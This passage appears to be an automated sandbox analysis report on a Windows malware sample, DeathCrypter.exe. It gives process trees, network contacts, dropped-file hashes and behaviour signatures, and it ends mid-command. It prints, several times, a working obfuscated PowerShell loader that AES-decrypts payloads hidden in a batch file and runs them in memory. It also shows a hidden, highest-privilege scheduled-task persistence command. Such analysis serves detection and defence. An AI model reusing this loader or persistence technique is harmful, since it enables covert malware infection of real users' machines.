C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc

C:\Windows\Explorer.EXE

C:\Windows\Explorer.EXE

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo

C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe

"C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\DeathAuthentication.bat" "

C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe

"C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe"

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kGHinQ79UkF9r+tuo/CjrBrZV+MXdja5YdUtk0ihi64='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('303KSumhAOwl+H8eZdZWMQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $QnNmF=New-Object System.IO.MemoryStream(,$param_var); $zyqXV=New-Object System.IO.MemoryStream; $DhAXC=New-Object System.IO.Compression.GZipStream($QnNmF, [IO.Compression.CompressionMode]::Decompress); $DhAXC.CopyTo($zyqXV); $DhAXC.Dispose(); $QnNmF.Dispose(); $zyqXV.Dispose(); $zyqXV.ToArray();}function execute_function($param_var,$param2_var){ $qvAaV=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $IrdKD=$qvAaV.EntryPoint; $IrdKD.Invoke($null, $param2_var);}$sNNem = 'C:\Users\Admin\AppData\Local\Temp\DeathAuthentication.bat';$host.UI.RawUI.WindowTitle = $sNNem;$GQSoU=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($sNNem).Split([Environment]::NewLine);foreach ($pSNpQ in $GQSoU) { if ($pSNpQ.StartsWith('kxXxWsMoTNZTGgOQLuIn')) { $WGRDh=$pSNpQ.Substring(20); break; }}$payloads_var=[string[]]$WGRDh.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4068,i,1809100026287847100,9768898026582633513,262144 --variations-seed-version --mojo-platform-channel-handle=4056 /prefetch:8

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_989_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_989.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_989.vbs"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_989.bat" "

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kGHinQ79UkF9r+tuo/CjrBrZV+MXdja5YdUtk0ihi64='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('303KSumhAOwl+H8eZdZWMQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $QnNmF=New-Object System.IO.MemoryStream(,$param_var); $zyqXV=New-Object System.IO.MemoryStream; $DhAXC=New-Object System.IO.Compression.GZipStream($QnNmF, [IO.Compression.CompressionMode]::Decompress); $DhAXC.CopyTo($zyqXV); $DhAXC.Dispose(); $QnNmF.Dispose(); $zyqXV.Dispose(); $zyqXV.ToArray();}function execute_function($param_var,$param2_var){ $qvAaV=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $IrdKD=$qvAaV.EntryPoint; $IrdKD.Invoke($null, $param2_var);}$sNNem = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_989.bat';$host.UI.RawUI.WindowTitle = $sNNem;$GQSoU=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($sNNem).Split([Environment]::NewLine);foreach ($pSNpQ in $GQSoU) { if ($pSNpQ.StartsWith('kxXxWsMoTNZTGgOQLuIn')) { $WGRDh=$pSNpQ.Substring(20); break; }}$payloads_var=[string[]]$WGRDh.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc

C:\Windows\System32\mousocoreworker.exe

C:\Windows\System32\mousocoreworker.exe -Embedding

C:\Windows\system32\backgroundTaskHost.exe

"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca

Network

Country Destination Domain Proto
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 0.204.248.87.in-addr.arpa udp
US 8.8.8.8:53 2.159.190.20.in-addr.arpa udp
NL 23.62.61.146:443 www.bing.com tcp
US 8.8.8.8:53 ip-api.com udp
US 8.8.8.8:53 58.99.105.20.in-addr.arpa udp
US 8.8.8.8:53 146.61.62.23.in-addr.arpa udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
DE 193.161.193.99:44454 tcp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 99.193.161.193.in-addr.arpa udp
US 8.8.8.8:53 203.107.17.2.in-addr.arpa udp
US 8.8.8.8:53 26.165.165.52.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 31.243.111.52.in-addr.arpa udp

Files

memory/2892-0-0x00007FF94B5A3000-0x00007FF94B5A5000-memory.dmp

memory/2892-1-0x0000000000DE0000-0x00000000017F8000-memory.dmp

memory/2892-2-0x00007FF94B5A0000-0x00007FF94C061000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\DeathAuthentication.bat

MD5 9a3a9a5ba169eda2919b26e78abe3718
SHA1 ef2136796b2f2c88a9826968e14a72d34faff667
SHA256 2c7178b4b84c0c6c8e16495b665aa5f1ed22982e13fe1769feada527be6caefe
SHA512 e0a70678715e4a8679673b1a99c2850769a34a00803f8ba25b40651c557fe770af94a5c60bdb4c33c33e664d3f4cd029e0e63ecb3c8ccd49a2d508dc92f43829

memory/4232-7-0x00007FF94B5A0000-0x00007FF94C061000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bzjcxcsj.bjf.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4376-17-0x0000029732630000-0x0000029732652000-memory.dmp

memory/4376-18-0x00000297326B0000-0x00000297326F4000-memory.dmp

memory/4376-19-0x0000029732B00000-0x0000029732B76000-memory.dmp

memory/4232-21-0x00007FF94B5A0000-0x00007FF94C061000-memory.dmp

memory/4376-22-0x0000029732690000-0x0000029732698000-memory.dmp

memory/4376-23-0x0000029732A80000-0x0000029732ACC000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 661739d384d9dfd807a089721202900b
SHA1 5b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
SHA512 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

C:\Users\Admin\AppData\Roaming\$phantom-startup_str_989.vbs

MD5 4694bc39ad366734e3364d143a54180e
SHA1 c2a3140a64f4b1eb2b271b01ba3a9ec365848d6b
SHA256 fa25bb589d44060f9966238e1fab6aeab41e3253bde4f3e3f00ba9c33658918a
SHA512 d9323dc70f4609ba66c89e0e077f4c00fb3b2539fe8504e126157dd075ea197604ad039b4009d5439bfc2e5ebc5159eacda1a32885d7f64262e5fe3cf492ee09

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\DeathCrypter.exe.log

MD5 2ff39f6c7249774be85fd60a8f9a245e
SHA1 684ff36b31aedc1e587c8496c02722c6698c1c4e
SHA256 e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced
SHA512 1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

memory/2892-44-0x00007FF94B5A0000-0x00007FF94C061000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

MD5 005bc2ef5a9d890fb2297be6a36f01c2
SHA1 0c52adee1316c54b0bfdc510c0963196e7ebb430
SHA256 342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d
SHA512 f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22

memory/3436-55-0x0000000002E30000-0x0000000002E5A000-memory.dmp

memory/3436-104-0x00007FF929FB0000-0x00007FF929FC0000-memory.dmp

memory/1180-107-0x00007FF929FB0000-0x00007FF929FC0000-memory.dmp

memory/1768-105-0x00007FF929FB0000-0x00007FF929FC0000-memory.dmp

memory/1568-109-0x00007FF929FB0000-0x00007FF929FC0000-memory.dmp

memory/2348-118-0x00007FF929FB0000-0x00007FF929FC0000-memory.dmp

memory/1952-117-0x00007FF929FB0000-0x00007FF929FC0000-memory.dmp

memory/3020-116-0x00007FF929FB0000-0x00007FF929FC0000-memory.dmp

memory/2760-115-0x00007FF929FB0000-0x00007FF929FC0000-memory.dmp

memory/1040-113-0x00007FF929FB0000-0x00007FF929FC0000-memory.dmp

memory/1048-112-0x00007FF929FB0000-0x00007FF929FC0000-memory.dmp

memory/2432-111-0x00007FF929FB0000-0x00007FF929FC0000-memory.dmp

memory/1964-108-0x00007FF929FB0000-0x00007FF929FC0000-memory.dmp

memory/1732-106-0x00007FF929FB0000-0x00007FF929FC0000-memory.dmp

memory/2480-110-0x00007FF929FB0000-0x00007FF929FC0000-memory.dmp

memory/2520-155-0x000002C72DF30000-0x000002C72DF48000-memory.dmp

C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

MD5 1e8e2076314d54dd72e7ee09ff8a52ab
SHA1 5fd0a67671430f66237f483eef39ff599b892272
SHA256 55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f
SHA512 5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6

C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

MD5 0b990e24f1e839462c0ac35fef1d119e
SHA1 9e17905f8f68f9ce0a2024d57b537aa8b39c6708
SHA256 a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a
SHA512 c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

MD5 ceb7caa4e9c4b8d760dbf7e9e5ca44c5
SHA1 a3879621f9493414d497ea6d70fbf17e283d5c08
SHA256 98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9
SHA512 1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

MD5 7d612892b20e70250dbd00d0cdd4f09b
SHA1 63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5
SHA256 727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02
SHA512 f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

MD5 8abf2d6067c6f3191a015f84aa9b6efe
SHA1 98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7
SHA256 ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea
SHA512 c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63

C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

MD5 f313c5b4f95605026428425586317353
SHA1 06be66fa06e1cffc54459c38d3d258f46669d01a
SHA256 129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b
SHA512 b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

MD5 1fd1035a45ac11656a19aa41b6997d4a
SHA1 88f40db2eb7d00fd704bc6717d847e60ee9efbb8
SHA256 d9f27ae79d13f341a55a0db420a3d95aa7113949e2ba660b64aa3aa5bfcf7f5a
SHA512 0f8975be96348461519f062d47b4c5550c68b5e1e9010437af6fe37cb2330bfc847ac281f0ce8cb1d15aaa50c70c17b120a72904b6c5735dc20d1cf2ac70f594

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-04 12:54

Reported

2024-06-04 12:55

Platform

win7-20240221-en

Max time kernel

41s

Max time network

21s

Command Line

"C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe"

Signatures

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1460 wrote to memory of 2632 N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe C:\Windows\system32\cmd.exe
PID 1460 wrote to memory of 2632 N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe C:\Windows\system32\cmd.exe
PID 1460 wrote to memory of 2632 N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe C:\Windows\system32\cmd.exe
PID 1460 wrote to memory of 2580 N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe
PID 1460 wrote to memory of 2580 N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe
PID 1460 wrote to memory of 2580 N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe
PID 2632 wrote to memory of 2284 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2632 wrote to memory of 2284 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2632 wrote to memory of 2284 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2632 wrote to memory of 2972 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2632 wrote to memory of 2972 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2632 wrote to memory of 2972 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2580 wrote to memory of 2484 N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe C:\Windows\system32\cmd.exe
PID 2580 wrote to memory of 2484 N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe C:\Windows\system32\cmd.exe
PID 2580 wrote to memory of 2484 N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe C:\Windows\system32\cmd.exe
PID 2580 wrote to memory of 2592 N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe
PID 2580 wrote to memory of 2592 N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe
PID 2580 wrote to memory of 2592 N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe
PID 2484 wrote to memory of 1928 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2484 wrote to memory of 1928 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2484 wrote to memory of 1928 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2484 wrote to memory of 2148 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2484 wrote to memory of 2148 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2484 wrote to memory of 2148 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2592 wrote to memory of 2204 N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe C:\Windows\system32\cmd.exe
PID 2592 wrote to memory of 2204 N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe C:\Windows\system32\cmd.exe
PID 2592 wrote to memory of 2204 N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe C:\Windows\system32\cmd.exe
PID 2592 wrote to memory of 1972 N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe
PID 2592 wrote to memory of 1972 N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe
PID 2592 wrote to memory of 1972 N/A C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe
PID 2204 wrote to memory of 2228 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2204 wrote to memory of 2228 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2204 wrote to memory of 2228 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 2204 wrote to memory of 2232 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2204 wrote to memory of 2232 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2204 wrote to memory of 2232 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe

"C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe"

C:\Windows\system32\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Local\Temp\DeathAuthentication.bat" "

C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe

"C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kGHinQ79UkF9r+tuo/CjrBrZV+MXdja5YdUtk0ihi64='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('303KSumhAOwl+H8eZdZWMQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $QnNmF=New-Object System.IO.MemoryStream(,$param_var); $zyqXV=New-Object System.IO.MemoryStream; $DhAXC=New-Object System.IO.Compression.GZipStream($QnNmF, [IO.Compression.CompressionMode]::Decompress); $DhAXC.CopyTo($zyqXV); $DhAXC.Dispose(); $QnNmF.Dispose(); $zyqXV.Dispose(); $zyqXV.ToArray();}function execute_function($param_var,$param2_var){ $qvAaV=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $IrdKD=$qvAaV.EntryPoint; $IrdKD.Invoke($null, $param2_var);}$sNNem = 'C:\Users\Admin\AppData\Local\Temp\DeathAuthentication.bat';$host.UI.RawUI.WindowTitle = $sNNem;$GQSoU=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($sNNem).Split([Environment]::NewLine);foreach ($pSNpQ in $GQSoU) { if ($pSNpQ.StartsWith('kxXxWsMoTNZTGgOQLuIn')) { $WGRDh=$pSNpQ.Substring(20); break; }}$payloads_var=[string[]]$WGRDh.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden

C:\Windows\system32\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Local\Temp\DeathAuthentication.bat" "

C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe

"C:\Users\Admin\AppData\Local\Temp\DeathCrypter.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kGHinQ79UkF9r+tuo/CjrBrZV+MXdja5YdUtk0ihi64='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('303KSumhAOwl+H8eZdZWMQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $QnNmF=New-Object System.IO.MemoryStream(,$param_var); $zyqXV=New-Object System.IO.MemoryStream; $DhAXC=New-Object System.IO.Compression.GZipStream($QnNmF, [IO.Compression.CompressionMode]::Decompress); $DhAXC.CopyTo($zyqXV); $DhAXC.Dispose(); $QnNmF.Dispose(); $zyqXV.Dispose(); $zyqXV.ToArray();}function execute_function($param_var,$param2_var){ $qvAaV=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $IrdKD=$qvAaV.EntryPoint; $IrdKD.Invoke($null, $param2_var);}$sNNem = 'C:\Users\Admin\AppData\Local\Temp\DeathAuthentication.bat';$host.UI.RawUI.WindowTitle = $sNNem;$GQSoU=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($sNNem).Split([Environment]::NewLine);foreach ($pSNpQ in $GQSoU) { if ($pSNpQ.StartsWith('kxXxWsMoTNZTGgOQLuIn')) { $WGRDh=$pSNpQ.Substring(20); break; }}$payloads_var=[string[]]$WGRDh.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 